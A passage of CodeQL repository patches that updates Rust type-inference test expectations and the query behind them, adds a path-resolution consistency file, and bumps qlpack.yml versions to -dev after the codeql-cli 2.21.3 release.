| mut x3 | | main.rs:715:5:719:5 | MyOption | | main.rs:761:22:761:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:762:9:762:10 | x3 | | main.rs:715:5:719:5 | MyOption | | main.rs:762:21:762:21 | S | | main.rs:750:5:751:13 | S | +| main.rs:763:18:763:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:763:26:763:27 | x3 | | main.rs:715:5:719:5 | MyOption | | main.rs:765:13:765:18 | mut x4 | | main.rs:715:5:719:5 | MyOption | | main.rs:765:13:765:18 | mut x4 | T | main.rs:750:5:751:13 | S | @@ -726,6 +797,7 @@ inferType | main.rs:766:28:766:29 | x4 | | main.rs:715:5:719:5 | MyOption | | main.rs:766:28:766:29 | x4 | T | main.rs:750:5:751:13 | S | | main.rs:766:32:766:32 | S | | main.rs:750:5:751:13 | S | +| main.rs:767:18:767:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:767:26:767:27 | x4 | | main.rs:715:5:719:5 | MyOption | | main.rs:767:26:767:27 | x4 | T | main.rs:750:5:751:13 | S | | main.rs:769:13:769:14 | x5 | | main.rs:715:5:719:5 | MyOption | @@ -736,6 +808,7 @@ inferType | main.rs:769:18:769:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | | main.rs:769:35:769:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:769:35:769:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | +| main.rs:770:18:770:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:770:26:770:27 | x5 | | main.rs:715:5:719:5 | MyOption | | main.rs:770:26:770:27 | x5 | T | main.rs:715:5:719:5 | MyOption | | main.rs:770:26:770:27 | x5 | T.T | main.rs:750:5:751:13 | S | @@ -747,6 +820,7 @@ inferType | main.rs:772:18:772:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | | main.rs:772:35:772:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:772:35:772:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | +| main.rs:773:18:773:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:773:26:773:61 | ...::flatten(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:773:26:773:61 | ...::flatten(...) | T | main.rs:750:5:751:13 | S | | main.rs:773:59:773:60 | x6 | | main.rs:715:5:719:5 | MyOption | @@ -756,6 +830,9 @@ inferType | main.rs:775:13:775:19 | from_if | T | main.rs:750:5:751:13 | S | | main.rs:775:23:779:9 | if ... {...} else {...} | | main.rs:715:5:719:5 | MyOption | | main.rs:775:23:779:9 | if ... {...} else {...} | T | main.rs:750:5:751:13 | S | +| main.rs:775:26:775:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:775:30:775:30 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:775:34:775:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:775:36:777:9 | { ... } | | main.rs:715:5:719:5 | MyOption | | main.rs:775:36:777:9 | { ... } | T | main.rs:750:5:751:13 | S | | main.rs:776:13:776:30 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | @@ -765,28 +842,39 @@ inferType | main.rs:778:13:778:31 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:778:13:778:31 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | | main.rs:778:30:778:30 | S | | main.rs:750:5:751:13 | S | +| main.rs:780:18:780:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:780:26:780:32 | from_if | | main.rs:715:5:719:5 | MyOption | | main.rs:780:26:780:32 | from_if | T | main.rs:750:5:751:13 | S | | main.rs:782:13:782:22 | from_match | | main.rs:715:5:719:5 | MyOption | | main.rs:782:13:782:22 | from_match | T | main.rs:750:5:751:13 | S | | main.rs:782:26:785:9 | match ... { ... } | | main.rs:715:5:719:5 | MyOption | | main.rs:782:26:785:9 | match ... { ... } | T | main.rs:750:5:751:13 | S | +| main.rs:782:32:782:32 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:782:36:782:36 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:782:40:782:40 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:783:13:783:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:783:21:783:38 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:783:21:783:38 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | +| main.rs:784:13:784:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:784:22:784:40 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:784:22:784:40 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | | main.rs:784:39:784:39 | S | | main.rs:750:5:751:13 | S | +| main.rs:786:18:786:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:786:26:786:35 | from_match | | main.rs:715:5:719:5 | MyOption | | main.rs:786:26:786:35 | from_match | T | main.rs:750:5:751:13 | S | | main.rs:788:13:788:21 | from_loop | | main.rs:715:5:719:5 | MyOption | | main.rs:788:13:788:21 | from_loop | T | main.rs:750:5:751:13 | S | | main.rs:788:25:793:9 | loop { ... } | | main.rs:715:5:719:5 | MyOption | | main.rs:788:25:793:9 | loop { ... } | T | main.rs:750:5:751:13 | S | +| main.rs:789:16:789:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:789:20:789:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:789:24:789:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:790:23:790:40 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:790:23:790:40 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | | main.rs:792:19:792:37 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | | main.rs:792:19:792:37 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | | main.rs:792:36:792:36 | S | | main.rs:750:5:751:13 | S | +| main.rs:794:18:794:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:794:26:794:34 | from_loop | | main.rs:715:5:719:5 | MyOption | | main.rs:794:26:794:34 | from_loop | T | main.rs:750:5:751:13 | S | | main.rs:807:15:807:18 | SelfParam | | main.rs:800:5:801:19 | S | @@ -822,6 +910,7 @@ inferType | main.rs:821:18:821:22 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:821:18:821:22 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:821:20:821:21 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:822:18:822:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:822:26:822:27 | x1 | | main.rs:800:5:801:19 | S | | main.rs:822:26:822:27 | x1 | T | main.rs:803:5:804:14 | S2 | | main.rs:822:26:822:32 | x1.m1() | | main.rs:803:5:804:14 | S2 | @@ -830,10 +919,12 @@ inferType | main.rs:824:18:824:22 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:824:18:824:22 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:824:20:824:21 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:826:18:826:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:826:26:826:27 | x2 | | main.rs:800:5:801:19 | S | | main.rs:826:26:826:27 | x2 | T | main.rs:803:5:804:14 | S2 | | main.rs:826:26:826:32 | x2.m2() | | file://:0:0:0:0 | & | | main.rs:826:26:826:32 | x2.m2() | &T | main.rs:803:5:804:14 | S2 | +| main.rs:827:18:827:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:827:26:827:27 | x2 | | main.rs:800:5:801:19 | S | | main.rs:827:26:827:27 | x2 | T | main.rs:803:5:804:14 | S2 | | main.rs:827:26:827:32 | x2.m3() | | file://:0:0:0:0 | & | @@ -843,6 +934,7 @@ inferType | main.rs:829:18:829:22 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:829:18:829:22 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:829:20:829:21 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:831:18:831:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:831:26:831:41 | ...::m2(...) | | file://:0:0:0:0 | & | | main.rs:831:26:831:41 | ...::m2(...) | &T | main.rs:803:5:804:14 | S2 | | main.rs:831:38:831:40 | &x3 | | file://:0:0:0:0 | & | @@ -850,6 +942,7 @@ inferType | main.rs:831:38:831:40 | &x3 | &T.T | main.rs:803:5:804:14 | S2 | | main.rs:831:39:831:40 | x3 | | main.rs:800:5:801:19 | S | | main.rs:831:39:831:40 | x3 | T | main.rs:803:5:804:14 | S2 | +| main.rs:832:18:832:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:832:26:832:41 | ...::m3(...) | | file://:0:0:0:0 | & | | main.rs:832:26:832:41 | ...::m3(...) | &T | main.rs:803:5:804:14 | S2 | | main.rs:832:38:832:40 | &x3 | | file://:0:0:0:0 | & | @@ -866,11 +959,13 @@ inferType | main.rs:834:19:834:23 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:834:19:834:23 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:834:21:834:22 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:836:18:836:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:836:26:836:27 | x4 | | file://:0:0:0:0 | & | | main.rs:836:26:836:27 | x4 | &T | main.rs:800:5:801:19 | S | | main.rs:836:26:836:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | | main.rs:836:26:836:32 | x4.m2() | | file://:0:0:0:0 | & | | main.rs:836:26:836:32 | x4.m2() | &T | main.rs:803:5:804:14 | S2 | +| main.rs:837:18:837:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:837:26:837:27 | x4 | | file://:0:0:0:0 | & | | main.rs:837:26:837:27 | x4 | &T | main.rs:800:5:801:19 | S | | main.rs:837:26:837:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | @@ -885,10 +980,12 @@ inferType | main.rs:839:19:839:23 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:839:19:839:23 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:839:21:839:22 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:841:18:841:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:841:26:841:27 | x5 | | file://:0:0:0:0 | & | | main.rs:841:26:841:27 | x5 | &T | main.rs:800:5:801:19 | S | | main.rs:841:26:841:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | | main.rs:841:26:841:32 | x5.m1() | | main.rs:803:5:804:14 | S2 | +| main.rs:842:18:842:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:842:26:842:27 | x5 | | file://:0:0:0:0 | & | | main.rs:842:26:842:27 | x5 | &T | main.rs:800:5:801:19 | S | | main.rs:842:26:842:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | @@ -902,6 +999,7 @@ inferType | main.rs:844:19:844:23 | S(...) | | main.rs:800:5:801:19 | S | | main.rs:844:19:844:23 | S(...) | T | main.rs:803:5:804:14 | S2 | | main.rs:844:21:844:22 | S2 | | main.rs:803:5:804:14 | S2 | +| main.rs:846:18:846:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:846:26:846:30 | (...) | | main.rs:800:5:801:19 | S | | main.rs:846:26:846:30 | (...) | T | main.rs:803:5:804:14 | S2 | | main.rs:846:26:846:35 | ... .m1() | | main.rs:803:5:804:14 | S2 | @@ -1072,6 +1170,7 @@ inferType | main.rs:955:33:955:37 | value | | main.rs:953:20:953:27 | T | | main.rs:955:53:958:9 | { ... } | | file://:0:0:0:0 | Result | | main.rs:955:53:958:9 | { ... } | E | main.rs:925:5:926:14 | S1 | +| main.rs:956:22:956:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:957:13:957:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | | main.rs:957:13:957:34 | ...::Ok::<...>(...) | E | main.rs:925:5:926:14 | S1 | | main.rs:959:9:959:23 | ...::Err(...) | | file://:0:0:0:0 | Result | @@ -1081,12 +1180,15 @@ inferType | main.rs:963:37:963:52 | try_same_error(...) | | file://:0:0:0:0 | Result | | main.rs:963:37:963:52 | try_same_error(...) | E | main.rs:925:5:926:14 | S1 | | main.rs:963:37:963:52 | try_same_error(...) | T | main.rs:925:5:926:14 | S1 | +| main.rs:964:22:964:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:967:37:967:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | | main.rs:967:37:967:55 | try_convert_error(...) | E | main.rs:928:5:929:14 | S2 | | main.rs:967:37:967:55 | try_convert_error(...) | T | main.rs:925:5:926:14 | S1 | +| main.rs:968:22:968:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:971:37:971:49 | try_chained(...) | | file://:0:0:0:0 | Result | | main.rs:971:37:971:49 | try_chained(...) | E | main.rs:928:5:929:14 | S2 | | main.rs:971:37:971:49 | try_chained(...) | T | main.rs:925:5:926:14 | S1 | +| main.rs:972:22:972:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:975:37:975:63 | try_complex(...) | | file://:0:0:0:0 | Result | | main.rs:975:37:975:63 | try_complex(...) | E | main.rs:925:5:926:14 | S1 | | main.rs:975:37:975:63 | try_complex(...) | T | main.rs:925:5:926:14 | S1 | @@ -1094,6 +1196,21 @@ inferType | main.rs:975:49:975:62 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | | main.rs:975:49:975:62 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | | main.rs:975:60:975:61 | S1 | | main.rs:925:5:926:14 | S1 | +| main.rs:976:22:976:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:983:13:983:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:983:22:983:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:984:13:984:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:984:17:984:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:985:17:985:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:985:21:985:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:986:13:986:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:986:17:986:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:986:17:986:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:987:9:987:11 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:988:9:988:15 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:989:9:989:16 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:990:9:990:12 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:991:9:991:13 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:997:5:997:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:998:5:998:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:998:20:998:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 2652699558ff..be0f8a4cbc3d 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -3,7 +3,20 @@ import utils.test.InlineExpectationsTest import codeql.rust.internal.TypeInference as TypeInference import TypeInference -query predicate inferType(AstNode n, TypePath path, Type t) { +final private class TypeFinal = Type; + +class TypeLoc extends TypeFinal { + predicate hasLocationInfo( + string filepath, int startline, int startcolumn, int endline, int endcolumn + ) { + exists(string file | + this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and + filepath = file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") + ) + } +} + +query predicate inferType(AstNode n, TypePath path, TypeLoc t) { t = TypeInference::inferType(n, path) and n.fromSource() } diff --git a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..e4c5c7393e43 --- /dev/null +++ b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,9 @@ +multipleMethodCallTargets +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | From 5f9dd75d7d3e33766f1cbf8d981d8b6296221c67 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 13 May 2025 21:49:43 +0000 Subject: [PATCH 129/535] Post-release preparation for codeql-cli-2.21.3 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 78262551e5b1..6e9a94292d02 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.9 +version: 0.4.10-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index a8bdbd232a2a..49f4f30f7da2 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.1 +version: 0.6.2-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index ebc158065aa6..e15623e2ddb9 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.1 +version: 4.3.2-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 4a85abdeb488..07c7cb322495 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.0 +version: 1.4.1-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index cce389c29633..6c3519f47858 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.40 +version: 1.7.41-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 978778f73a57..1cfbcb1f030a 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.40 +version: 1.7.41-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 312ef102b8f1..3cfd38613775 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.6 +version: 5.1.7-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 74065d9e9d3f..7f4043b2c07b 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.0 +version: 1.2.1-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 029a8ee5a217..7c8b45152648 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.23 +version: 1.0.24-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 6effb4ee5899..3451f49c2dc5 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.5 +version: 4.2.6-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 69f168f17eea..032ac3359028 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.0 +version: 1.2.1-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 345cd2806ea5..d34620678ba1 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.2.0 +version: 7.2.1-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index eb187075e823..be53e6c8c0bf 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.0 +version: 1.5.1-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 9a212edfbd47..87fb92c5bafb 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.3 +version: 2.6.4-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 24a0a1ab109b..515ea8a3abda 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.0 +version: 1.6.1-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 93018dd3c94f..fa44a2706655 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.23 +version: 1.0.24-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index 85ce51edc48e..c98ee1e15d47 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.7 +version: 4.0.8-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 24b80a87e2ed..6e181439ee01 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.0 +version: 1.5.1-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 571ca22b15f8..2548f8c10745 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.6 +version: 4.1.7-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index c7a150408638..ed987a474545 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.0 +version: 1.3.1-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 7660d75b460b..ce213d8ebbad 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.8 +version: 0.1.9-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 75845fd10e1d..3ce216f0a2d7 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.8 +version: 0.1.9-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 7a8528bcf06f..83f9b6f67a42 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.7 +version: 2.0.8-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 30e12f194562..3c70d1d8c2d3 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.7 +version: 2.0.8-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 96556fa674b5..8cbab3cbcd63 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 87daa7dc97d5..4abda024832b 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.1 +version: 0.0.2-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index e3025d785223..d551bb79db47 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 02983bb3ce54..41c9b1ba0439 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.23 +version: 1.0.24-dev groups: shared library: true 